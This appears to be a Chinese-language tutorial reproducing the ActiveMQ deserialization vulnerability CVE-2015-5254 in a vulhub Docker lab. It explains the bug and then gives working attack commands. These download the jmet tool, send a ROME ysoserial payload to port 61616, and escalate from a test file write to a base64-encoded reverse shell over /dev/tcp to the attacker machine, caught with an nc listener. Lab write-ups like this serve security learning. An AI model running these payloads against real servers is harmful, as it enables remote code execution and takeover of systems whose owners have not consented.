ActiveMQ反序列化漏洞
ActiveMQ
ActiveMQ是开源消息总线,消息中间件
工作原理
通过使用消息队列,实现服务的异步处理,主要目的是减少请求响应时间和解耦合。
消息队列,服务器A将客户发起的请求放入服务器B的消息队列中,服务器B从消息队列中取出并处理。
从以上内容中可以看出,消息中间件的主要功能就是为了解耦合、消峰和异步,即解决高并发问题和系统间的RPC交互繁杂问题。
漏洞原理
此漏洞源于程序没有限制可在代理中序列化的类。远程攻击这可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
解释说明
ActiveMQ通过消息队列来实现信息传递,每个消息要保证发出端和接收端格式相同,其中使用了序列化的方法进行传递,在这个过程中没有限制可在代理中序列化的类,这时候我们就可以自己构造一份序列化的恶意代码payload,将其作为事件发到ActiveMQ服务上,在管理员在后台管理时触发了payload,或者攻击者使用弱口令拿到ActiveMQ的账户,并执行了payload,则可以成功利用该漏洞
使用限制
- ActiveMQ的版本<=5.13.0
- payload需要主动触发
漏洞复现
实验配置
靶机地址:192.168.27.128:
攻击机:192.168.27.129
创建容器
ps:如果没有安装好docker请看上篇文章
cd vulhub
cd /activemq/CVE-2015-5254
docker-compose up -d
环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。
测试靶机
用攻击机访问靶机ip:8161,查看是否开启成功
看到如下页面,则说明安装成功
漏洞利用
- ysoserial是java反序列化利用的工具之一,其中集合了各种java反序列化的payload
- jmet集成了ysoserial,所以我们只需要安装jmet即可
- 将序列化对象作为一个消息,发送给目标61616工作端口
- 访问web管理页面,读取消息,触发漏洞
安装jmet
cd /opt
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
mkdir external
直接输入到终端即可
构造测试payload
java -jar jmet-0.1.0-all.jar -Q chenevent -I ActiveMQ -s -Y “touch /tmp/chen.txt” -Yp ROME 192.168.27.128 61616
使用ROME payload 把touch /tmp/chen.txt 命令序列化后作为名为chenevent的消息发给ActiveMQ
-Q 指定消息名
-I 选择要装载的JMS客户端
-s 选择ysoserial paylad
-Y 指定命令
-Yp 指定payload
最后是ip与端口
打开web页面
账号密码都是admin
如图操作
用靶机连接到docker容器,查看tmp目录下是否存在chen.txt
docker exec -it 容器id /bin/bash
docker ps 看容器id
看到chen.txt说明测试成功啦
终极目标!拿到shell
来个制作反弹shell的网站
https://www.revshells.com/
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yLBGey4w-1678327567182)(C:\Users\34232\AppData\Roaming\Typora\typora-user-images\image-20230309093515332.png)]
sh -i >& /dev/tcp/192.168.27.129/8023 0>&1
反弹shell一般都需要加密,咱就base64一下
base64加密网站:http://www.jsons.cn/base64/
c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yNy4xMjkvODAyMyAwPiYx
构建payload
和上面测试payload一样,将命令替换即可
java -jar jmet-0.1.0-all.jar -Q chenevent -I ActiveMQ -s -Y “bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yNy4xMjkvODAyMyAwPiYx}|{base64,-d}|{bash,-i}” -Yp ROME 192.168.27.128 61616
攻击机先开启端口监听,监听8023端口
nc -lvnp 8023
然后开新终端输入payload,靶机模拟管理员点击事件
成功拿到shell!